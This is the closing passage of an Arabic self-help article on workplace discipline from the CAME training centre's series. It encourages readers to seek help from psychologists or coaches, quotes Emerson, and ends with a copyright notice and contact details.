لا تخش من طلب المساعدة كلما احتجت اليها . فاحيانا ما لاتفيد كافة النصائح المكتوبة فى العالم و لا تحل محل بضع جلسات رائعة مع عالم نفسانى او طبيب نفسانى او مدرب خاص . لقد اكتشفت فى خلال مقابلاتى الشخصية و الابحاث التى اجريتها انه بينما ان الاطباء و العلماء النفسانيين هم افضل من يتعامل مع المشاكل العاطفية العويصة مثل الاحترام المتدنى للذات او اضطراب تشوش الانتباه , نجد ان المدربين الخصوصيين من الممكن ان يكونوا ذوى نفع عظيم فى التعامل مع السلوكيات اليومية التى تجعلنا نستمر فى اماكننا . و بينما ان جلسات التدريب عادة ما تتعامل مع المشاكل العاطفية ايضا الا انها تركز بشكل اكبر على تطوير خطوات فعلية للمساعدة على تغيير السلوك .

  

اتمنى لك حظا سعيدا فى تحقيق اهدافك . اذا عانيت من انتكاسات احيانا فاعد تنظيم صفوفك و تذكر قيمة الايمان بنفسك . اعلم انك ستصل الى وجهتك اذا حاولت المواصلة . و تذكر كلمات الشاعر رالف ايميرسون حيث قال:

 

ان ما يقبع وراءنا

و ما يقبع خلفنا

هى شئون بسيطة

مقارنة بما يقبع بداخلنا .

*   *   *

انتهت بحمد الله المقالة السادسة لمسار كيم التعليمى للانضباط الوظيفي

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/job_discipline-6/feed/ 0